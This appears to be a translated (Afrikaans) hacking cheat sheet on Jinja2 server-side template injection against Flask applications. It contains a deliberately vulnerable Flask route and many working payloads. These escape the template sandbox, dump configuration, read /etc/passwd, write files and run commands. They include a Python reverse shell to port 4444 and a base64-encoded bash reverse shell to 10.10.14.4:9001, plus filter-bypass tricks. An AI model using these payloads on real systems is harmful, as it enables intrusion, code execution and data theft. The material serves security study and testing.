from flask import Flask, request, render_template_stringapp =Flask(__name__)@app.route("/")defhome():if request.args.get('c'):returnrender_template_string(request.args.get('c'))else:return"Hello, send someting inside the param 'c'!"if__name__=="__main__":app.run()
Foutopsporingsverklaring
Indien die Foutopsporingsuitbreiding geaktiveer is, sal 'n debug-tag beskikbaar wees om die huidige konteks sowel as die beskikbare filters en toetse te dump. Dit is nuttig om te sien wat beskikbaar is om in die templaat te gebruik sonder om 'n foutopsporingstool op te stel.
<pre>{% debug %}</pre>
Stort alle konfigurasie veranderlikes
{{ config }}#In these object you can find all the configured env variables{%for key, value in config.items()%}<dt>{{ key|e }}</dt><dd>{{ value|e }}</dd>{% endfor %}
Jinja Injeksie
Eerstens, in 'n Jinja-injeksie moet jy 'n manier vind om uit die sandboks te ontsnap en toegang te herstel tot die normale python-uitvoervloei. Om dit te doen, moet jy voorwerpe misbruik wat uit die nie-sandboksomgewing kom maar toeganklik is vanuit die sandboks.
Toegang tot Globale Voorwerpe
Byvoorbeeld, in die kode render_template("hello.html", username=username, email=email) kom die voorwerpe username en email uit die nie-sandboks python-omgewing en sal binne die sandboks-omgewing toeganklik wees.
Verder is daar ander voorwerpe wat altyd toeganklik sal wees vanuit die sandboks-omgewing, dit is:
[]
''
()
dict
config
request
Herstel van <klas 'object'>
Daarna moet ons van hierdie objekte na die klas kom: <klas 'object'> om te probeer om gedefinieerde klasse te herwin. Dit is omdat ons van hierdie objek die __subclasses__ metode kan aanroep en toegang tot al die klasse van die nie-sandboxed Python-omgewing kan kry.
Om toegang tot daardie objek klas te kry, moet jy 'n klasobjek toegang en dan __base__, __mro__()[-1] of .mro()[-1] toegang kry. En dan, nadat ons hierdie objek klas bereik het, roep ons __subclasses__() aan.
Kyk na hierdie voorbeelde:
# To access a class object[].__class__''.__class__()["__class__"] # You can also access attributes like thisrequest["__class__"]config.__class__dict#It's already a class# From a class to access the class "object".## "dict" used as example from the previous list:dict.__base__dict["__base__"]dict.mro()[-1]dict.__mro__[-1](dict|attr("__mro__"))[-1](dict|attr("\x5f\x5fmro\x5f\x5f"))[-1]# From the "object" class call __subclasses__(){{dict.__base__.__subclasses__()}}{{dict.mro()[-1].__subclasses__()}}{{ (dict.mro()[-1]|attr("\x5f\x5fsubclasses\x5f\x5f"))()}}{%with a = dict.mro()[-1].__subclasses__()%}{{ a }}{% endwith %}# Other examples using these ways{{ ().__class__.__base__.__subclasses__()}}{{ [].__class__.__mro__[-1].__subclasses__()}}{{ ((""|attr("__class__")|attr("__mro__"))[-1]|attr("__subclasses__"))()}}{{ request.__class__.mro()[-1].__subclasses__()}}{%with a = config.__class__.mro()[-1].__subclasses__()%}{{ a }}{% endwith %}# Not sure if this will work, but I saw it somewhere{{ [].class.base.subclasses()}}{{''.class.mro()[1].subclasses()}}
RCE Ontsnapping
Nadat ons<class 'object'>herstel het en __subclasses__ geroep het, kan ons nou daardie klasse gebruik om lêers te lees en skryf en kode uit te voer.
Die oproep na __subclasses__ het ons die geleentheid gegee om toegang te verkry tot honderde nuwe funksies, ons sal tevrede wees deur net toegang te verkry tot die lêerklas om lêers te lees/skryf of enige klas met toegang tot 'n klas wat opdragte kan uitvoer (soos os).
Lees/Skryf afgeleë lêer
# ''.__class__.__mro__[1].__subclasses__()[40] = File class{{''.__class__.__mro__[1].__subclasses__()[40]('/etc/passwd').read()}}{{''.__class__.__mro__[1].__subclasses__()[40]('/var/www/html/myflaskapp/hello.txt', 'w').write('Hello here !')}}
RCE
# The class 396 is the class <class 'subprocess.Popen'>{{''.__class__.mro()[1].__subclasses__()[396]('cat flag.txt',shell=True,stdout=-1).communicate()[0].strip()}}# Without '{{' and '}}'<div data-gb-custom-block data-tag="if" data-0='application' data-1='][' data-2='][' data-3='__globals__' data-4='][' data-5='__builtins__' data-6='__import__' data-7='](' data-8='os' data-9='popen' data-10='](' data-11='id' data-12='read' data-13=']() == ' data-14='chiv'> a </div>
# Calling os.popen without guessing the index of the class{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("ls").read()}}{%endif%}{% endfor %}
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"ip\",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/cat\", \"flag.txt\"]);'").read().zfill(417)}}{%endif%}{% endfor %}
## Passing the cmd line in a GET param{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen(request.args.input).read()}}{%endif%}{%endfor%}
## Passing the cmd line ?cmd=id, Without " and '{{dict.mro()[-1].__subclasses__()[276](request.args.cmd,shell=True,stdout=-1).communicate()[0].strip()}}
Om meer te leer oor meer klasse wat jy kan gebruik om te ontsnap, kan jy kyk:
Hierdie ontduikings sal ons in staat stel om die eienskappe van die voorwerpe **te toegang sonder om van sommige karakters gebruik te maak.
Ons het reeds van hierdie ontduikings gesien in die voorbeelde van die vorige, maar laat ons hulle hier opsom:
# Without quotes, _, [, ]## Basic onesrequest.__class__request["__class__"]request['\x5f\x5fclass\x5f\x5f']request|attr("__class__")request|attr(["_"*2,"class","_"*2]|join) # Join trick## Using request object optionsrequest|attr(request.headers.c) #Send a header like "c: __class__" (any trick using get params can be used with headers also)
request|attr(request.args.c) #Send a param like "?c=__class__request|attr(request.query_string[2:16].decode() #Send a param like "?c=__class__request|attr([request.args.usc*2,request.args.class,request.args.usc*2]|join) # Join list to stringhttp://localhost:5000/?c={{request|attr(request.args.f|format(request.args.a,request.args.a,request.args.a,request.args.a))}}&f=%s%sclass%s%s&a=_ #Formatting the string from get params
## Lists without "[" and "]"http://localhost:5000/?c={{request|attr(request.args.getlist(request.args.l)|join)}}&l=a&a=_&a=_&a=class&a=_&a=_# Using with{% with a = request["application"]["\x5f\x5fglobals\x5f\x5f"]["\x5f\x5fbuiltins\x5f\x5f"]["\x5f\x5fimport\x5f\x5f"]("os")["popen"]("echo -n YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC40LzkwMDEgMD4mMQ== | base64 -d | bash")["read"]() %} a {% endwith %}
Vanaf die globale voorwerpe is daar 'n ander manier om RCE te kry sonder om daardie klas te gebruik.
As jy daarin slaag om na enige funksie van daardie globale voorwerpe te kom, sal jy toegang hê tot __globals__.__builtins__ en van daar af is die RCE baie eenvoudig.
Jy kan funksies vind vanaf die voorwerpe request, config en enige ander interessante globale voorwerp waar jy toegang tot het met:
{{ request.__class__.__dict__ }}-application-_load_form_data-on_json_loading_failed{{ config.__class__.__dict__ }}-__init__-from_envvar-from_pyfile-from_object-from_file-from_json-from_mapping-get_namespace-__repr__# You can iterate through children objects to find more
Sodra jy sekere funksies gevind het, kan jy die builtins herstel met:
# Read file{{ request.__class__._load_form_data.__globals__.__builtins__.open("/etc/passwd").read()}}# RCE{{ config.__class__.from_envvar.__globals__.__builtins__.__import__("os").popen("ls").read()}}{{ config.__class__.from_envvar["__globals__"]["__builtins__"]["__import__"]("os").popen("ls").read()}}{{ (config|attr("__class__")).from_envvar["__globals__"]["__builtins__"]["__import__"]("os").popen("ls").read()}}{% with a = request["application"]["\x5f\x5fglobals\x5f\x5f"]["\x5f\x5fbuiltins\x5f\x5f"]["\x5f\x5fimport\x5f\x5f"]("os")["popen"]("ls")["read"]() %} {{ a }} {% endwith %}
## Extra## The global from config have a access to a function called import_string## with this function you don't need to access the builtins{{ config.__class__.from_envvar.__globals__.import_string("os").popen("ls").read()}}# All the bypasses seen in the previous sections are also valid